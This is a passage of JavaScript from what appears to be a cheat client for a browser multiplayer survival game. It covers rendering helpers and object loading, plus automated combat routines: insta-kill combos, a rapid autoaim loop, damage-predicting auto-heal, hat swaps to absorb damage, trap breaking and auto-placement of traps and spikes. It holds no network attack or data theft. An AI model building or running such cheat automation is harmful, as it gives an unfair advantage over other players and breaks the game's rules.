                                          ((y + endY) / 2) + (width * Math.sin(r + Math.PI/2)), endX, endY);
                    ctxt.quadraticCurveTo(((x + endX) / 2) - (width * Math.cos(r + Math.PI/2)),
                                          ((y + endY) / 2) - (width * Math.sin(r + Math.PI/2)), x, y);
                    ctxt.closePath();
                    ctxt.fill();
                    ctxt.stroke();
                }

                // RENDER CIRCLE:
                function renderCircle(x, y, scale, tmpContext, dontStroke, dontFill) {
                    tmpContext = tmpContext||mainContext;
                    tmpContext.beginPath();
                    tmpContext.arc(x, y, scale, 0, 2 * Math.PI);
                    if (!dontFill) tmpContext.fill();
                    if (!dontStroke) tmpContext.stroke();
                }

                // RENDER STAR SHAPE:
                function renderStar(ctxt, spikes, outer, inner) {
                    var rot = Math.PI / 2 * 3;
                    var x, y;
                    var step = Math.PI / spikes;
                    ctxt.beginPath();
                    ctxt.moveTo(0, -outer);
                    for (var i = 0; i < spikes; i++) {
                        x = Math.cos(rot) * outer;
                        y = Math.sin(rot) * outer;
                        ctxt.lineTo(x, y);
                        rot += step;
                        x = Math.cos(rot) * inner;
                        y = Math.sin(rot) * inner;
                        ctxt.lineTo(x, y);
                        rot += step;
                    }
                    ctxt.lineTo(0, -outer);
                    ctxt.closePath();
                }

                // RENDER RECTANGLE:
                function renderRect(x, y, w, h, ctxt, stroke) {
                    ctxt.fillRect(x - (w / 2), y - (h / 2), w, h);
                    if (!stroke)
                        ctxt.strokeRect(x - (w / 2), y - (h / 2), w, h);
                }

                // RENDER RECTCIRCLE:
                function renderRectCircle(x, y, s, sw, seg, ctxt, stroke) {
                    ctxt.save();
                    ctxt.translate(x, y);
                    seg = Math.ceil(seg / 2);
                    for (var i = 0; i < seg; i++) {
                        renderRect(0, 0, s * 2, sw, ctxt, stroke);
                        ctxt.rotate(Math.PI / seg);
                    }
                    ctxt.restore();
                }

                // RENDER BLOB:
                function renderBlob(ctxt, spikes, outer, inner) {
                    var rot = Math.PI / 2 * 3;
                    var x, y;
                    var step = Math.PI / spikes;
                    var tmpOuter;
                    ctxt.beginPath();
                    ctxt.moveTo(0, -inner);
                    for (var i = 0; i < spikes; i++) {
                        tmpOuter = UTILS.randInt(outer + 0.9, outer * 1.2);
                        ctxt.quadraticCurveTo(Math.cos(rot + step) * tmpOuter, Math.sin(rot + step) * tmpOuter,
                                              Math.cos(rot + (step * 2)) * inner, Math.sin(rot + (step * 2)) * inner);
                        rot += step * 2;
                    }
                    ctxt.lineTo(0, -inner);
                    ctxt.closePath();
                }

                // RENDER TRIANGLE:
                function renderTriangle(s, ctx) {
                    ctx = ctx||mainContext;
                    var h = s * (Math.sqrt(3)/2);
                    ctx.beginPath();
                    ctx.moveTo(0, -h / 2);
                    ctx.lineTo( -s / 2, h / 2);
                    ctx.lineTo(s / 2, h / 2);
                    ctx.lineTo(0, -h / 2);
                    ctx.fill();
                    ctx.closePath();
                }

                // PREPARE MENU BACKGROUND:
                function prepareMenuBackground() {
                    var tmpMid = config.mapScale / 2;
                    objectManager.add(0, tmpMid, tmpMid + 200, 0, config.treeScales[3], 0);
                    objectManager.add(1, tmpMid, tmpMid - 480, 0, config.treeScales[3], 0);
                    objectManager.add(2, tmpMid + 300, tmpMid + 450, 0, config.treeScales[3], 0);
                    objectManager.add(3, tmpMid - 950, tmpMid - 130, 0, config.treeScales[2], 0);
                    objectManager.add(4, tmpMid - 750, tmpMid - 400, 0, config.treeScales[3], 0);
                    objectManager.add(5, tmpMid - 700, tmpMid + 400, 0, config.treeScales[2], 0);
                    objectManager.add(6, tmpMid + 800, tmpMid - 200, 0, config.treeScales[3], 0);
                    objectManager.add(7, tmpMid - 260, tmpMid + 340, 0, config.bushScales[3], 1);
                    objectManager.add(8, tmpMid + 760, tmpMid + 310, 0, config.bushScales[3], 1);
                    objectManager.add(9, tmpMid - 800, tmpMid + 100, 0, config.bushScales[3], 1);
                    objectManager.add(10, tmpMid - 800, tmpMid + 300, 0, items.list[4].scale, items.list[4].id, items.list[10]);
                    objectManager.add(11, tmpMid + 650, tmpMid - 390, 0, items.list[4].scale, items.list[4].id, items.list[10]);
                    objectManager.add(12, tmpMid - 400, tmpMid - 450, 0, config.rockScales[2], 2);
                }

                // LOAD GAME OBJECT:
                function loadGameObject(data) {
                    for (var i = 0; i < data.length;) {
                        objectManager.add(data[i], data[i + 1], data[i + 2], data[i + 3], data[i + 4],
                                          data[i + 5], items.list[data[i + 6]], true, (data[i + 7]>=0?{sid:data[i + 7]}:null));

                        i+=8;
                    }
                }
                function setAutobreaker(x, y, sid) {
                    tracker.breakHC = 0;
                    tracker.intrap = true
                    aT()
                    autobreaker = {
                        x: x,
                        y: y
                    }
                }
                function hitTrap(x, y) {
                    if (Math.hypot(x - player.x, y - player.y) > 120) {
                        storeEquip(11, 1);
                        sendAtckState();
                    } else {
                        tracker.trapDir = Math.atan2(y - player.y, x - player.x);
                        io.send("2", tracker.trapDir);
                        let a = (player.weapons[1] == 10 ? 10 : player.weapons[0]);
                        selectToBuild(a, !0);
                        storeEquip(0, 1);
                        if((a == 10 ? secondaryReload[player.sid] : primaryReload[player.sid]) == 1){
                            selectToBuild(a, !0);
                            storeEquip(40);
                            storeEquip(0, 1)
                            if(tracker.inRange.length && !settings.ae){
                                io.send("c", 1, 1e300);
                                io.send("c", 0, 1e300);
                            } else {
                                io.send("c", 1, tracker.trapDir);
                                io.send("c", 0, tracker.trapDir);
                            }
                            tracker.hitting = true
                        } else {
                            if(settings.ae){
                                storeEquip(6);
                                storeEquip(0, 1)
                            } else {
                                storeEquip(26);
                                storeEquip(0, 1)
                                tracker.hitting = false
                            }
                            selectToBuild(a, !0);

                        }
                    }
                }
                function aT(){
                    for(let i = 0;i < Math.PI*2;i += Math.PI/9){
                        place(player.items[4] == 15 ? player.items[4] : player.items[2], i);
                    }
                    for(let i = 0;i < Math.PI*2;i += Math.PI/18){
                        place(player.items[3], i);
                    }
                    io.send("2", getAttackDir);
                }

                // WIGGLE GAME OBJECT:
                function wiggleGameObject(dir, sid) {
                    tmpObj = findObjectBySid(sid);
                    if (tmpObj) {
                        tmpObj.xWiggle += config.gatherWiggle * Math.cos(dir);
                        tmpObj.yWiggle += config.gatherWiggle * Math.sin(dir);
                    }
                }

                // SHOOT TURRET:
                function shootTurret(sid, dir) {
                    tmpObj = findObjectBySid(sid);
                    if (tmpObj) {
                        tmpObj.dir = dir;
                        tmpObj.xWiggle += config.gatherWiggle * Math.cos(dir+Math.PI);
                        tmpObj.yWiggle += config.gatherWiggle * Math.sin(dir+Math.PI);
                    }
                }

                // ADD PROJECTILE:
                function addProjectile(x, y, dir, range, speed, indx, layer, sid) {
                    if (inWindow) {
                        projectileManager.addProjectile(x, y, dir, range, speed, indx, null, null, layer).sid = sid;
                        setAdvCooldown(x, y, dir, range, speed)
                        projectileDetection()
                    }
                }

                // REMOVE PROJECTILE:
                function remProjectile(sid, range) {
                    for (var i = 0; i < projectiles.length; ++i) {
                        if (projectiles[i].sid == sid) {
                            projectiles[i].range = range;
                        }
                    }
                }
                function setAdvCooldown(e, t, n, i, r){
                    let min = Infinity;
                    let id = -1;
                    for(let i = 0; i < players.length;i++){
                        (tmpObj = players[i]) && tmpObj.visible && tmpObj.secondary && items.weapons[tmpObj.secondary].projectile !== undefined && items.projectiles[items.weapons[tmpObj.secondary].projectile].speed == r &&
                            min > (tmpObj.x2*1.5-tmpObj.x1/2-e+Math.cos(n)*80)**2+(tmpObj.y2*1.5-tmpObj.y1/2-t+Math.sin(n)*80)**2
                        && (id = tmpObj.sid, min = (tmpObj.x2*1.5-tmpObj.x1/2-e+Math.cos(n)*80)**2+(tmpObj.y2*1.5-tmpObj.y1/2-t+Math.sin(n)*80)**2)
                    }
                    if(Math.sqrt(min) > 60){
                        if(r == 1.5){
                            for(let i = 0; i < players.length;i++){
                                (tmpObj = players[i]) && tmpObj.visible &&
                                    min > (tmpObj.x2*1.5-tmpObj.x1/2-e+Math.cos(n)*10)**2+(tmpObj.y2*1.5-tmpObj.y1/2-t+Math.sin(n)*10)**2
                                && (id = tmpObj.sid, min = (tmpObj.x2*1.5-tmpObj.x1/2-e+Math.cos(n)*10)**2+(tmpObj.y2*1.5-tmpObj.y1/2-t+Math.sin(n)*10)**2)
                            }
                            if(Math.sqrt(min) < 60){
                                turretReload[id] = -0.0444;
                            }
                        }else{
                            for(let i = 0; i < players.length;i++){
                                (tmpObj = players[i]) && tmpObj.visible && tmpObj.secondary &&
                                    min > (tmpObj.x2*1.5-tmpObj.x1/2-e+Math.cos(n)*80)**2+(tmpObj.y2*1.5-tmpObj.y1/2-t+Math.sin(n)*80)**2
                                && (id = tmpObj.sid, min = (tmpObj.x2*1.5-tmpObj.x1/2-e+Math.cos(n)*80)**2+(tmpObj.y2*1.5-tmpObj.y1/2-t+Math.sin(n)*80)**2)
                            }
                            tmpObj=findPlayerBySID(id);
                            setTimeout(()=>{secondaryReload[id] = 0});
                        }
                    }else{
                        tmpObj=findPlayerBySID(id);
                        secondaryReload[id] = -111/items.weapons[tmpObj.secondary].speed;
                    }
                }

                function projectileDetection(x, y, dir, range, speed, indx, layer, sid){
                    //later
                }
                // ANIMATE AI:
                function animateAI(sid) {
                    tmpObj = findAIBySID(sid);
                    if (tmpObj) tmpObj.startAnim();
                }

                // ADD AI:
                function loadAI(data) {
                    for (var i = 0; i < ais.length; ++i) {
                        ais[i].forcePos = !ais[i].visible;
                        ais[i].visible = false;
                    }
                    if (data) {
                        var tmpTime = Date.now();
                        for (var i = 0; i < data.length;) {
                            tmpObj = findAIBySID(data[i]);
                            if (tmpObj) {
                                tmpObj.index = data[i + 1];
                                tmpObj.t1 = (tmpObj.t2===undefined)?tmpTime:tmpObj.t2;
                                tmpObj.t2 = tmpTime;
                                tmpObj.x1 = tmpObj.x;
                                tmpObj.y1 = tmpObj.y;
                                tmpObj.x2 = data[i + 2];
                                tmpObj.y2 = data[i + 3];
                                tmpObj.d1 = (tmpObj.d2===undefined)?data[i + 4]:tmpObj.d2;
                                tmpObj.d2 = data[i + 4];
                                tmpObj.health = data[i + 5];
                                tmpObj.dt = 0;
                                tmpObj.visible = true;
                            } else {
                                tmpObj = aiManager.spawn(data[i + 2], data[i + 3], data[i + 4], data[i + 1]);
                                tmpObj.x2 = tmpObj.x;
                                tmpObj.y2 = tmpObj.y;
                                tmpObj.d2 = tmpObj.dir;
                                tmpObj.health = data[i + 5];
                                if (!aiManager.aiTypes[data[i + 1]].name)
                                    tmpObj.name = config.cowNames[data[i + 6]];
                                tmpObj.forcePos = true;
                                tmpObj.sid = data[i];
                                tmpObj.visible = true;
                            }
                            i+=7;
                        }
                    }
                }

                // RENDER AI:
                var aiSprites = {};
                function renderAI(obj, ctxt) {
                    var tmpIndx = obj.index;
                    var tmpSprite = aiSprites[tmpIndx];
                    if (!tmpSprite) {
                        var tmpImg = new Image();
                        tmpImg.onload = function() {
                            this.isLoaded = true;
                            this.onload = null;
                        };
                        tmpImg.src = ".././img/animals/" + obj.src + ".png";
                        tmpSprite = tmpImg;
                        aiSprites[tmpIndx] = tmpSprite;
                    }
                    if (tmpSprite.isLoaded) {
                        var tmpScale = obj.scale * 1.2 * (obj.spriteMlt||1);
                        ctxt.drawImage(tmpSprite, -tmpScale, -tmpScale, tmpScale*2, tmpScale*2);
                    }
                }

                // OBJECT ON SCREEN:
                function isOnScreen(x, y, s) {
                    return (x + s >= 0 && x - s <= maxScreenWidth && y + s >= 0 && y - s <= maxScreenHeight)
                }

                // ADD NEW PLAYER:
                function addPlayer(data, isYou) {
                    var tmpPlayer = findPlayerByID(data[0]);
                    if (!tmpPlayer) {
                        tmpPlayer = new Player(data[0], data[1], config, UTILS, projectileManager,
                                               objectManager, players, ais, items, hats, accessories);
                        players.push(tmpPlayer);
                    }
                    tmpPlayer.spawn(isYou?moofoll:null);
                    tmpPlayer.visible = false;
                    tmpPlayer.x2 = undefined;
                    tmpPlayer.y2 = undefined;
                    tmpPlayer.setData(data);
                    primaryReload[tmpPlayer.sid] = 1;
                    tmpPlayer.pr = 1;
                    secondaryReload[tmpPlayer.sid] = 1;
                    tmpPlayer.sr = 1;
                    turretReload[tmpPlayer.sid] = 1;
                    tmpPlayer.tr = 1;
                    primaryWeapons[tmpPlayer.sid] = undefined
                    secondaryWeapons[tmpPlayer.sid] = undefined
                    tmpPlayer.clownCounter = 0;
                    tmpObj.secondaryChecked = false
                    if (isYou) {
                        player = tmpPlayer;
                        camX = player.x;
                        camY = player.y;
                        primaryReload = []
                        secondaryReload = []
                        for(let i = 0; i< 50; i++){
                            primaryReload.push(1)
                            secondaryReload.push(1)
                        }
                        updateItems();
                        updateStatusDisplay();
                        updateAge();
                        updateUpgrades(0);
                        gameUI.style.display = "block";
                    }
                }

                // REMOVE PLAYER:
                function removePlayer(id) {
                    for (var i = 0; i < players.length; i++) {
                        if (players[i].id == id) {
                            players.splice(i, 1);
                            break;
                        }
                    }
                }

                // UPDATE PLAYER ITEM VALUES:
                function updateItemCounts(index, value) {
                    if (player) {
                        player.itemCounts[index] = value;
                    }
                }

                // UPDATE PLAYER VALUE:
                function updatePlayerValue(index, value, updateView) {
                    if (player) {
                        player[index] = value;
                        if (updateView)
                            updateStatusDisplay();
                    }
                }
                function soldierRound(tmpObj, d){
                    if(tmpObj.skinIndex == 6){
                        return d/0.75
                    }else
                    {return d}
                }
                function updateHealth(e, t) {
                    let d = t - 100;
                    (tmpObj = findPlayerBySID(e)) && (Qz(tmpObj, t), (t <= tmpObj.health ? (tmpObj.hitTime = tC)&& (tmpObj.lastDamage = soldierRound(tmpObj, d)) : tmpObj.buildItem()), tmpObj.health = t)
                }
                function Qz(tmpObj, t){

                    let d = t - tmpObj.health;
                    if(d >= 0){

                    }else{
                        player == tmpObj && tracker.thisTickDamage.push(Math.abs(d))
                    }

                }

                // UPDATE HEALTH:


                function cS(e) {
                    if(e == 75){
                        if(player.skinIndex == 6){
                            return 57
                        } else {
                            return 75
                        }
                    } else {
                        if(player.skinIndex == 6){
                            return e*0.75
                        } else {
                            return e
                        }
                    }
                }
                function rI(e, t) {
                    return Math.floor(Math.random() * (t - e + 1) + e)
                }
                function heal(){
                    for(let i = 0; i < 5; i++){place(player.items[0], null)}
                }
                var leak;
                function doEmpAnti(){
                    tracker.emp = true
                    storeEquip(22);
                    addFunction(() => {
                        tracker.emp = false
                        heal()
                    }, 2);
                }
                function doSoldierAnti(){
                    tracker.soldier = true;
                    storeEquip(6);
                    addFunction(() => {
                        tracker.soldier = false;
                        heal()
                    }, 2);
                }
                function checkAb(sources){
                    for(let i = 0; i < sources.length; i++){
                        if([60, 66, 71, 68, 67, 74, 80].includes(sources[i])){
                            return true
                        }
                    }
                    return false
                }
                function healing(damages, damageN) {
                    if(tracker.inRange.length && player.health != 100){
                        let sources = []
                        for(let i = 0; i < damages.length; i++){
                            sources.push(damages[i])
                        }
                        let potential = alterPot(sources)
                        let yep
                        if(checkAb(damageN)){
                            yep = true
                        }
                        if(yep
                           && tracker.lastAb
                           && !tracker.insta
                           && primaryReload[player.sid] == 1){
                            if(player.health - potential[0] <= 0){
                                heal()
                            } else {
                                addFunction(() => {heal()},1)
                            }
                            tracker.hitting = true
                            tracker.insta = true
                            autoaim(true);
                            selectToBuild(player.weapons[0], !0);
                            storeEquip(player.tails[19] ? 19 : 0, 1)
                            storeEquip(7);
                            io.send("c", 1, nEA);
                            io.send("c", 0, nEA);
                            sendAtckState()
                            addFunction( () => {
                                tracker.antibull = false
                                io.send("c", 1, getAttackDir());
                                io.send("c", 0, getAttackDir());
                                autoaim(false);
                                sendAtckState()
                                tracker.insta = false;
                                tracker.hitting = false
                            }, 1);
                            return
                        }
                        if((player.health - potential[0]) <= 0){
                            if((player.health - potential[0]+(25*potential[1]) >= 0)&& !(tracker.soldier && tracker.otSoldier && tracker.trapSoldier)){
                                doEmpAnti()

                            } else if((player.health - (potential[0]*0.75) >= 0)){
                                doSoldierAnti()
                            } else {
                                heal()
                            }
                        } else {
                            addFunction(() => {
                                heal()
                            },1)
                        }
                    } else if(player.health !== 100){
                        addFunction(() => {
                            heal()
                        },1)
                    }

                    tracker.lastAb = tracker.antibull
                }

                function identifyDamage(d){

                    if(!tracker.inRange.length){
                        return "unknown"
                    }

                    for(let i = 0; i < tracker.inRange.length; i++){
                        let playerDamage = 0
                        let dmg
                        dmg = Math.round(cS(items.weapons[primaryWeapons[tracker.inRange[i][0]]].dmg *sortWeaponVariant(primaryWeaponVariant[tracker.inRange[i][0]]) * 1.5))
                        if(dmg == d){
                            return [tracker.inRange[i][0], primaryWeapons[tracker.inRange[i][0]], d]
                        }
                        dmg = Math.round(cS(items.weapons[primaryWeapons[tracker.inRange[i][0]]].dmg *sortWeaponVariant(primaryWeaponVariant[tracker.inRange[i][0]])))
                        if(dmg == d){
                            return [tracker.inRange[i][0], primaryWeapons[tracker.inRange[i][0]], d]
                        }
                        if(secondaryWeapons[tracker.inRange[i][0]] == 10){
                            dmg = Math.round(cS(items.weapons[secondaryWeapons[tracker.inRange[i][0]]].dmg *sortWeaponVariant(secondaryWeaponVariant[tracker.inRange[i][0]]) * 1.5))
                            if(dmg == d){
                                return [tracker.inRange[i][0], secondaryWeapons[tracker.inRange[i][0]], d]
                            }
                            dmg = Math.round(cS(items.weapons[secondaryWeapons[tracker.inRange[i][0]]].dmg *sortWeaponVariant(secondaryWeaponVariant[tracker.inRange[i][0]])) + cS(25))
                            if(dmg == d){
                                return [tracker.inRange[i][0], secondaryWeapons[tracker.inRange[i][0]], d]
                            }
                            dmg = Math.round(cS(items.weapons[secondaryWeapons[tracker.inRange[i][0]]].dmg *sortWeaponVariant(secondaryWeaponVariant[tracker.inRange[i][0]])))
                            if(dmg == d){
                                return [tracker.inRange[i][0], secondaryWeapons[tracker.inRange[i][0]], d]
                            }
                        } else {
                            dmg = Math.round(cS(sortSecondaryAmmoDamage(secondaryWeapons[tracker.inRange[i][0]])) + cS(25))
                            if(dmg == d){
                                return [tracker.inRange[i][0], secondaryWeapons[tracker.inRange[i][0]], d]
                            }
                            dmg = Math.round(cS(sortSecondaryAmmoDamage(secondaryWeapons[tracker.inRange[i][0]])))
                            if(dmg == d){
                                return [tracker.inRange[i][0], secondaryWeapons[tracker.inRange[i][0]], d]
                            }

                        }

                    }
                    return "unknown"
                }
                function sortWeaponVariant(id){
                    switch(id){
                        case 0:
                            return 1
                            break;
                        case 1:
                            return 1.1
                            break;
                        case 2:
                            return 1.18
                            break;
                        case 3:
                            return 1.18
                            break;
                        default:
                            return 0
                            break;
                    }
                }
                function sortSecondaryAmmoDamage(weapon){
                    switch(weapon) {
                        case 15:
                            return 50
                            break;
                        case 9:
                            return 25
                            break;
                        case 12:
                            return 35
                            break;
                        case 13:
                            return 30
                            break;
                        default:
                            return 0
                    }
                }

                function alterPot(sources){
                    let potDamage = 0
                    let emp = []
                    for(let i = 0; i < tracker.inRange.length; i++){
                        let thisPot = findPot(tracker.inRange[i], sources)
                        potDamage += thisPot[0]
                        if(thisPot[1]){
                            emp.push(true)
                        }
                    }
                    return [potDamage, emp]
                }
                function arrangeSource(sources){
                    let source = {
                        primary: false,
                        secondary: false,
                        turret: false,
                    }
                    for(let i = 0; i < sources.length; i++){
                        if(sources[i] != "unknown"){
                            if(sources[i][1] < 9){
                                source.primary = true
                            } else if(sources[i][1] < 16){
                                source.secondary = true
                            } else if(sources[i][1] == 16){
                                source.turret = true
                            }
                        }
                    }
                    return source
                }
                function findPot(enemy, sources){
                    let priPot = 0
                    let secPot = 0
                    let thisPot = 0
                    let thisEmp = 0
                    let thisSource = findSpecificSources(sources, enemy[0])
                    let arranged = arrangeSource(thisSource)
                    if(!arranged.primary && primaryReload[enemy[0]] > 0.7){
                        priPot = items.weapons[primaryWeapons[[enemy[0]]]].dmg *sortWeaponVariant(primaryWeaponVariant[[enemy[0]]]) * 1.5
                    }
                    if(!arranged.secondary && secondaryReload[enemy[0]] > 0.7){
                        secPot += sortSecondaryAmmoDamage(secondaryWeapons[enemy[0]])
                    }
                    if(!arranged.secondary && !arranged.turret && secondaryReload[enemy[0]] > 0.7 && turretReload[enemy[0]] > 0.7){
                        secPot += 25
                        thisEmp = true
                    }
                    if(priPot > secPot){
                        return [priPot, false]
                    } else {
                        return [secPot, thisEmp]
                    }
                }

                function findSpecificSources(sources, sid){
                    let totalSources = []
                    for(let i = 0; i < sources.length; i++){
                        if(sources[i][0] == sid){
                            totalSources.push(sources[i])
                        }
                    }
                    return totalSources
                }
                function potDmg(source){
                    let potDamage = 0
                    let emp = []
                    for(let i = 0; i < tracker.inRange.length; i++){
                        if(tracker.inRange[i][0] == source[0]){
                            if(source[1] <= 8){
                                if(secondaryReload[tracker.inRange[i][0]] == 1){
                                    potDamage += sortSecondaryAmmoDamage(secondaryWeapons[tracker.inRange[i][0]])+ (primaryWeaponVariant[tracker.inRange[i][0]] == 3 ? 5 : 0)
                                    if(turretReload[tracker.inRange[i][0]] == 1 && source[2] != 1){
                                        potDamage += 25
                                        if(!checkEmp(tracker.inRange[i])){
                                            emp.push(true)
                                        }
                                    }
                                }
                            } else {
                                if(primaryReload[tracker.inRange[i][0]] == 1){
                                    potDamage += items.weapons[primaryWeapons[tracker.inRange[i][0]]].dmg *sortWeaponVariant(primaryWeaponVariant[tracker.inRange[i][0]]) * 1.5 + (primaryWeaponVariant[tracker.inRange[i][0]] == 3 ? 5 : 0)
                                    if(turretReload[tracker.inRange[i][0]] == 1 && source[2] != 1){
                                        potDamage += 25
                                    }
                                }
                            }
                        } else {
                            let primaryDamage = 0
                            let secondaryDamage = 0
                            if(primaryReload[tracker.inRange[i][0]] == 1){
                                primaryDamage = items.weapons[primaryWeapons[tracker.inRange[i][0]]].dmg *sortWeaponVariant(primaryWeaponVariant[tracker.inRange[i][0]]) * 1.5 + (primaryWeaponVariant[tracker.inRange[i][0]] == 3 ? 5 : 0)
                                if(turretReload[tracker.inRange[i][0]] == 1 && source[2] != 1){
                                    potDamage += 25
                                }
                            }
                            if(secondaryReload[tracker.inRange[i][0]] == 1){
                                secondaryDamage = sortSecondaryAmmoDamage(secondaryWeapons[tracker.inRange[i][0]]) + (primaryWeaponVariant[tracker.inRange[i][0]] == 3 ? 5 : 0)
                                if(turretReload[tracker.inRange[i][0]] == 1 && source[2] != 1){
                                    potDamage += 25
                                    if(!checkEmp(tracker.inRange[i])){
                                        emp.push(true)
                                    }
                                }
                                potDamage += (primaryDamage >= secondaryDamage) ? primaryDamage : secondaryDamage
                            }
                        }
                    }
                    return [potDamage, tracker.inRange.length, emp.length]
                }
                function checkEmp(enemy){
                    let angle = Math.atan2(enemy[2]-player.y2, enemy[1]-player.x2)
                    let double = nEs.sort((a,b) => fgda(a, enemy) - fgda(b, enemy))[1]
                    if(double != undefined){
                        let doubleAngle = Math.atan2(enemy[2]-double[2], enemy[1]-double[1])
                        let difference = Math.abs(doubleAngle - angle)
                        if(difference < (Math.PI/4)){
                            return true
                        }
                    }
                    return false
                }



                function insta(type){
                    // io.send("ch", "!47897484545454454.m");
                    auI = false
                    io.send("6", 4)
                    io.send("6", 15)
                    if(type == "reverse"){
                        tracker.insta = true
                        autoaim(true);
                        selectToBuild(player.weapons[1], !0);
                        storeEquip(player.tails[19] ? 19 : 0, 1)
                        storeEquip(53);
                        io.send("c", 1, getAttackDir());
                        io.send("c", 0, getAttackDir());
                        sendAtckState()
                        addFunction(() => {
                            selectToBuild(player.weapons[0], !0);
                            storeEquip(7);
                            storeEquip(player.tails[19] ? 19 : 0, 1);
                            io.send("c", 1, getAttackDir());
                            io.send("c", 0, getAttackDir());
                            sendAtckState()
                            addFunction( () => {

                                autoaim(false);
                                tracker.insta = false;
                                sendAtckState()
                            }, 1);
                        }, 1);
                    } else if(type == "nobull"){

                        tracker.insta = true
                        autoaim(true);
                        selectToBuild(player.weapons[0], !0);
                        otherHat()
                        storeEquip(player.tails[19] ? 19 : 0, 1);
                        io.send("c", 1, getAttackDir());
                        io.send("c", 0, getAttackDir());
                        sendAtckState()
                        addFunction(() => {

                            storeEquip(53)
                            selectToBuild(player.weapons[1], !0);
                            io.send("c", 1, getAttackDir());
                            io.send("c", 0, getAttackDir());
                            sendAtckState()
                            addFunction(() => {
                                autoaim(false);
                                sendAtckState()
                                tracker.insta = false;
                            }, 1);
                        }, 1);
                    } else {
                        tracker.insta = true
                        autoaim(true);
                        selectToBuild(player.weapons[0], !0);
                        otherHat()
                        storeEquip(7);
                        storeEquip(player.tails[19] ? 19 : 0, 1);
                        io.send("c", 1, getAttackDir());
                        io.send("c", 0, getAttackDir());
                        sendAtckState()
                        addFunction(() => {

                            storeEquip(53)
                            selectToBuild(player.weapons[1], !0);
                            io.send("c", 1, getAttackDir());
                            io.send("c", 0, getAttackDir());
                            sendAtckState()
                            addFunction(() => {
                                autoaim(false);
                                sendAtckState()
                                tracker.insta = false;
                            }, 1);
                        }, 1);
                    }
                }
                var aimer;
                function autoaim(boolean) {
                    if (boolean) {
                        tracker.autoaiming = true;
                        aimer = setInterval( () => {
                            io.send("2", getAttackDir());
                        }, 0);
                    } else {
                        tracker.autoaiming = false;
                        clearInterval(aimer);
                        io.send("2", getAttackDir());
                    }
                }
                function checkReload(enemy){
                    for(let i = 0; i < tracker.lastPos.length; i++){
                        if(tracker.lastPos[i][0] == enemy[0]){
                            return
                        }
                    }
                    primaryReload[enemy[0]] = 1
                    secondaryReload[enemy[0]] = 1
                    turretReload[enemy[0]] = 1
                }
                function predictReload(){
                    var element;
                    let myTraps = gameObjects.filter(args => args.owner && (args.owner.sid === player.sid || isAlly(args.owner.sid)) && args.trap);
                    if (myTraps.length) {
                        for (let item of myTraps) {
                            if(Math.hypot(item.y - nEy[2], item.x - nEy[1]) <= 45){
                                element = item;
                            }
                        }
                    }
                    tracker.hitDetect = []
                    let potentialHit = []
                    for(let i = 0; i < close.length; i++){
                        if(primaryReload[close[i][0]] == 1){
                            for(let o = 0; o < tracker.inRange.length; o++){
                                if(close[i][0] == tracker.inRange[o][0]){
                                    potentialHit.push(close[i])
                                }
                            }

                        }
                    }
                    tracker.hitDetect = potentialHit
                    tracker.allSyncPot = []
                    for(let i = 0; i < tracker.inRange.length; i++){
                        if(primaryReload[tracker.inRange[i][0]] == 1){
                            tracker.allSyncPot.push(tracker.inRange[i])
                        }
                    }
                    close = []

                    for(let i = 0; i < tracker.inRange.length; i++){
                        if(element && nEy[0] == tracker.inRange[i][0] && currentWeapon[tracker.inRange[i][0]] == 10 && secondaryReload[tracker.inRange[i][0]] + 111/items.weapons[secondaryWeapons[tracker.inRange[i][0]]].speed >=1 && secondaryReload[tracker.inRange[i][0]] + 111/items.weapons[secondaryWeapons[tracker.inRange[i][0]]].speed <= 1.2){
                            close.push(tracker.inRange[i])
                        }else if(primaryReload[tracker.inRange[i][0]] + 111/items.weapons[primaryWeapons[tracker.inRange[i][0]]].speed >= 1 && primaryWeapons[tracker.inRange[i][0]] == 5 ? (primaryReload[tracker.inRange[i][0]] + 111/items.weapons[primaryWeapons[tracker.inRange[i][0]]].speed <= 1.15) : (primaryReload[tracker.inRange[i][0]] + 111/items.weapons[primaryWeapons[tracker.inRange[i][0]]].speed <= 1.2)){
                            close.push(tracker.inRange[i])
                        }
                    }

                    tracker.lastPrimaryReload = close
                    if(close.length){
                        tracker.potentialNbl = true
                    } else {
                        tracker.potentialNbl = false
                    }
                }
                function addFunction(action, tick) {//setTimeout per tick
                    if (typeof action != "function"){
                        return;}
                    if (typeof queueTick[tC + tick] != "object") {
                        queueTick[tC + tick] = [action];
                    } else {
                        queueTick[tC + tick].push(action);
                    }
                }
                function autopush(mySpikes, enemyTrap) {
                    /*  let angle = 0
            let spike = mySpikes.sort((a, b) => fgd(nEy, a) - fgd(nEy, b))[0];
            let enemyToSpike = Math.atan2(spike.y - nEy[2], spike.x - nEy[1]);
            let distance = Math.hypot(spike.x - nEy[1], spike.y - nEy[2]) + 30
            let myDist = fgd(nEy, player)
            let position = {
                x: spike.x + (distance * Math.cos(enemyToSpike) * -1),
                y: spike.y + (distance * Math.sin(enemyToSpike) * -1)
            };
            angle = () => {
                if(fgdo(position, player) > 50){
                    return Math.atan2(position.y - player.y, position.x - player.x)
                } else {
                    if(distance-50 < 90){
                        return null
                    } else {
                        return nEA
                    }
                }
            }
            io.send("33", angle())*/

                }
                function autoplace() {
                    if(!settings.autoplace) return;
                    if (!nEy.length) return;
                    if (player.items[4] == 16) {
                        if (keys[66]) {
                            io.send("33", nEA);
                            if (fgd(nEy, player) > window.boostDist) {
                                place(player.items[4], nEA);
                            } else {
                                let s = (fgd(nEy, player) <= 70 ? [nEA, nEA + 2 * Math.PI] : [nEA + Math.PI / 2, nEA + 3 * Math.PI / 2])
                                for (let i = s[0]; i < s[1]; i += Math.PI / 12)
                                    place(player.items[2], i);
                            }
                        } else {
                            return;
                        }
                    }
                    var element;
                    let myTraps = gameObjects.filter(args => args.owner && (args.owner.sid === player.sid || isAlly(args.owner.sid)) && args.trap);
                    if (myTraps.length) {
                        for (let item of myTraps) {
                            if(Math.hypot(item.y - nEy[2], item.x - nEy[1]) <= 45){
                                element = item;
                            }
                        }
                    }
                    if (true) {
                        if (element) {
                            let mySpikes = gameObjects.filter(args => args.owner && (args.owner.sid === player.sid || isAlly(args.owner.sid)) && args.dmg && fgdo(args, element) <= 130);
                            if ((fgd(nEy, player) < 200) && mySpikes.length) {
                                autopush(mySpikes, element);
                                if (fgdo(element, player) < 250) {
                                    let closestSpike = mySpikes.sort((a, b) => fgd(nEy, a) - fgd(nEy, b))[0],
                                        rAng = Math.atan2(nEy[2]-closestSpike.y, nEy[1]-closestSpike.x),
                                        point = {x: closestSpike.x + Math.cos(rAng) * closestSpike.scale, y: closestSpike.y + Math.sin(rAng) * closestSpike.scale};
